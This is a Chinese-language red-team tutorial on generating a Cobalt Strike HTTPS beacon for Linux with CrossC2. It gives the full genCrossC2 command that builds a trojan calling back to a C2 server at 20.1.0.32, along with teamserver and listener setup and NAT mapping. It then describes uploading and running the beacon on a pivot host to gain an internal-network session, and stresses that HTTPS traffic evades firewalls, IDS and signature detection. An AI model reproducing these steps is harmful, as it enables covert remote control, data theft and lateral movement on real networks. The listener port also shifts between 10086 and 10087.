目录
[一、Https Beacon简介](#一、Https Beacon简介)
[二、 Linux平台 Beacon 生成工具](#二、 Linux平台 Beacon 生成工具)
[2、genCrossC2 生成 Beacon](#2、genCrossC2 生成 Beacon)
[四、监听器Https Beacon渗透实战](#四、监听器Https Beacon渗透实战)
[3、攻击机生成https stageless木马](#3、攻击机生成https stageless木马)
[4、上传https beacon木马到跳板机](#4、上传https beacon木马到跳板机)
[四、Https Beacon内网横向渗透实战](#四、Https Beacon内网横向渗透实战)
本系列讲解内网渗透中跳板机为linux系统的情况下,通过CobaltStrike生成的https beacon与跳板机建立连接,再基于跳板机进行横向渗透的过程,整体流程图如下所示。本篇主要讲解如何生成linux的https beacon文件,相对于跳板机为windows系统而言,本篇的主要区别是默认的CS并不支持生成linux的https beacon文件。

sequenceDiagram
participant Attacker as 攻击者(C2服务器)
participant Compromised_Server as 已控服务器<br>(运行HTTPS Beacon)
participant Internal_Target as 内网目标<br>(如数据库/RDP)
Note over Attacker: 阶段1:Beacon初始回连
Compromised_Server->>Attacker: HTTPS GET请求<br/>(含加密元数据)
Attacker-->>Compromised_Server: 返回加密指令<br/>(如sleep/timeout)
Note over Attacker: 阶段2:横向移动
Compromised_Server->>Internal_Target: 代理攻击流量<br/>(如SMB爆破/端口扫描)
Internal_Target-->>Compromised_Server: 返回响应数据
Note over Attacker: 阶段3:数据回传
Compromised_Server->>Attacker: 加密POST请求<br/>(数据伪装为HTTPS流量)
Attacker-->>Compromised_Server: 新任务指令
Note over Attacker: 循环执行阶段2-3
一、Https Beacon简介
HTTPS Beacon 使用 HTTPS 协议进行通信,基于 HTTP 协议并通过 SSL/TLS 协议提供加密传输和身份验证功能。HTTPS Beacon 是现代高级持续性威胁和红队操作中最常用的 C2 通信技术之一。它利用无处不在且受信任的 HTTPS 协议作为掩护,通过加密有效隐藏恶意指令和数据传输,极大地增加了防御者的检测难度。
-
Beacon基本概念 :Beacon 可直译为灯塔、信标,HTTPS Beacon 是 Cobalt Strike 等工具中运行在目标主机上的 payload。它就像一个潜伏在目标主机上的 "信标",会定期向控制服务器发送信号,告知自己的存在,并等待接收指令,以实现对目标主机的长期控制。
-
"Beacon" 字面意思是"信标"。在恶意软件语境中,它指的是植入在受害者系统上的恶意代码(Payload)。这个 Beacon 的主要功能是定期(或基于事件)向攻击者控制的 C2 服务器"报到"(发送心跳信号)。
-
报到目的包括:
-
心跳/存活确认:告诉 C2 服务器"我还活着"。
-
检查任务:询问 C2 服务器是否有新的指令需要执行(如下载更多恶意软件、窃取数据、执行命令等)。
-
回传数据:将窃取的信息(如凭证、键盘记录、屏幕截图、文件)发送回 C2。
-
接收指令:获取 C2 服务器下发的下一步行动命令。
-
-
-
HTTPS 协议的应用
-
加密通信:HTTPS 是在 HTTP 协议基础上加入了 TLS/SSL 加密层。这意味着 Beacon 与 C2 服务器之间的所有通信内容(指令、窃取的数据、配置信息)都被加密。
-
伪装成合法流量:HTTPS 是互联网上最普遍、最受信任的协议之一(用于银行、电商、社交媒体等)。恶意流量隐藏在加密的 HTTPS 流量中,可以:
-
绕过传统防火墙和 IDS/IPS:这些设备通常无法解密 HTTPS 流量来检查其内容(除非配置了 SSL/TLS 解密代理)。
-
规避基于签名的检测:加密使得基于流量内容特征(如特定字符串)的检测方法失效。
-
融入背景噪音:大量的合法 HTTPS 流量使得恶意通信更难被区分出来。
-
-
-
与 HTTP Beacon 的区别:HTTPS Beacon 和 HTTP Beacon 使用了相同的 Malleable C2 配置文件,均使用 GET 和 POST 的方式传输数据。不同点在于 HTTPS Beacon 使用了 SSL/TLS 协议,能保证数据传输中信息不被截取或发生中间人攻击等,安全性更高。
-
应用场景:在渗透测试中,测试人员可利用 HTTPS Beacon 绕过目标网络的部分安全检测机制,因为 HTTPS 是常见的加密网络流量,一些防火墙和入侵检测系统可能不会对其进行深度检测。而在恶意软件攻击中,攻击者也可能会利用 HTTPS Beacon 来控制被感染的主机,窃取数据或执行其他恶意操作。
二、Linux平台 Beacon 生成工具
genCrossC2 是 Cobalt Strike 官方提供的 跨平台 Beacon 生成工具,支持生成 Windows、Linux、macOS 等多种系统的 Beacon 载荷,适用于红队渗透测试和内网横向移动。其github网址如下所示。
https://github.com/gloxec/CrossC2
1、genCrossC2安装
**(1)**基础文件下载
在github下载Realse的Cross C2,这里选择v3.3-stable版本,如下图红框所示。

以本机为例,我计划在windows执行genCrossC2,故而需要下载win版本和cna配置文件,如下图红框所示。

(2)构建genCrossC2环境
将下载后的文件解压后放到同一文件夹,并将Cobalt Strike服务器生成(./teamserver 运行时自动创建)的 .cobaltstrike.beacon_keys密钥文件也放到文件夹中,如下所示。

.cobaltstrike.beacon_keys文件为CS服务端运行时生成,该文件的路径来源如下所示。

**(3)**修改cna配置文件
修改 CrossC2-GithubBot-2023-11-20.cna 配置,CC2_PATH 填当前脚本的绝对路径,CC2_BIN 填 genCrossC2.exe 相对于 $CC2_PATH 的相对路径,注意 windows 要用双反斜杠,效果如下所示。

2、genCrossC2 生成 Beacon
通过genCrossC2生成https beacon文件,命令行如下所示。
./genCrossC2 <C2_IP> <C2_PORT> <密钥文件> <代理设置> <目标系统> <输出文件> <格式>
| 参数 | 必选 | 说明 | 示例值 |
|---|---|---|---|
C2_IP |
✔ | C2 服务器 IP 或域名 | 20.1.0.32 |
C2_PORT |
✔ | C2 监听端口 | 443(HTTPS) |
密钥文件 |
✔ | Beacon 加密通信的密钥路径 | ./.cobaltstrike.beacon_keys |
代理设置 |
✖ | 代理配置(如 socks5://127.0.0.1:1080) |
null(直连) |
目标系统 |
✔ | 指定操作系统和架构 | Linux x64、Windows x86 |
输出文件 |
✔ | 生成的 Beacon 文件名 | payload.elf |
格式 |
✔ | 输出格式(raw/shellcode) |
raw(可执行文件) |
**三、**CobaltStrike实战
1、服务端
(1)配置权限
在CobaltStrike执行服务端程序之前一定记得给执行权限 否则无法执行,具体命令如下所示。
chmod +x teamserver
chmod +x TeamServerImage
(2)启动服务端
服务端的命令如下:./teamserver `本地kali虚拟机`的ip 密码
./teamserver 192.168.59.128 123456
启动成功后 会显示Linstener:forward started!,效果如下所示。

2、客户端
客户端启动成功后 会显示一个登录界面 在密码处写入刚才设置的密码 点击connect连接即可,其中主机ip地址填写服务端的ip地址,端口填写默认的50050,效果如下图所示。

登陆成功后,进入到如下页面,效果如下图所示。

四、监听器Https Beacon渗透实战
1、添加监听器
Cobalt Strike → Listeners,进入监听器的页面,操作如下所示。

在新弹出的监听器listener页面中,点击下图红框中的添加部分,效果如下图所示。

配置监听器,payload选择BeaconHttps,地址填写攻击主机的IP地址,如下所示。由于CrossC2仅支持https的beacon,所以payload只能用Beacon HTTPS通过。

- name: 为监听器名字,配置为10086_https
- HTTP Hosts: 进行回连的主机(shell反弹的主机),也就是我们kali的ip,可以设置多个,我这里使用的是公网ip地址20.1.0.32(不过由于本机的Kali是在虚拟机中,故而后续还需要配置NAT)。
- HTTP Hosts(Stager): Stager的马请求下载payload的地址(一般也是和上面的ip填一样)
- HTTP Port(C2): payload回连的端口,这里选择使用10086
配置成功后效果如下所示。
2、配置NAT模式
本步骤需要将端口10087映射到NAT中。由于我的环境中Kali攻击机装在vmware中,而Kali攻击机使用NAT方式配置,故而需要对Kali进行NAT配置,确保攻击机反向代理可以连接成功(对于直接只用kali作为攻击机的环境可忽略此步骤)。
点击vmware-编辑-虚拟网络编辑器,在弹出的对话框中选中vmnet8模式(如下图1),点击NAT设置(如下图2),在弹出NAT配置对话框中点击添加(如下图3),具体如下图所示。

使用ifconfig查看Kali攻击机的ip地址,本机为192.168.59.128,如下所示。

点击添加后,端口映射主机与虚拟机的端口均配置为10086,其中虚拟机的ip地址配置为kali的ip地址192.168.59.128,配置方法如下所示。

点击确认配置完毕后如下图红框所示,按照顺序点击确定即可配置成功。

3、攻击机生成https stageless木马
由于默认的情况下CS工具中并没有生成linux载荷的部分,如下图红框所示只有windows的Beacon载荷 生成方法,Linux生成载荷需要进行特别处理,我们选择使用命令行方法讲解如何生成linux系统的可执行程序。

使用命令行生成linux下的木马,完整命令如下。
./genCrossC2.exe 20.1.0.32 10087 ./.cobaltstrike.beacon_keys null Linux x64 ljn.out raw
执行如上命令便在当前目录下生成了ljn.out文件,参数说明如下所示:
./genCrossC2.exe:执行genCrossC2工具(Cobalt Strike 的跨平台 Beacon 生成工具)20.1.0.32:指定 C2 服务器的 IP 地址(即 Beacon 回连的控制端 IP)10087:指定 C2 服务器监听的端口(Beacon 将通过此端口与控制端通信)./.cobaltstrike.beacon_keys:指定 Beacon 的加密密钥文件路径,用于 Beacon 与 C2 服务器之间的通信加密null:指定水印值(可选参数,这里设为 null 表示不使用水印)Linux:指定生成的 Beacon 运行的目标操作系统x64:指定目标系统的架构(64 位)ljn.out:生成的 Beacon 文件名称raw:指定生成的 Beacon 类型为原始二进制文件(无文件头,可用于进一步封装)

4、上传https beacon木马到跳板机

5、跳板机执行ljn.out
将上传到跳板机的木马ljn.out运行,不过在运行前需要先增加权限,否则会执行失败。

当成功执行ljn.out时,这时候查看攻击机的CS工具,如下所示此时上线成功。

在cs的会话中执行ifconfig命令,如下所示说明成功连接内网设备。
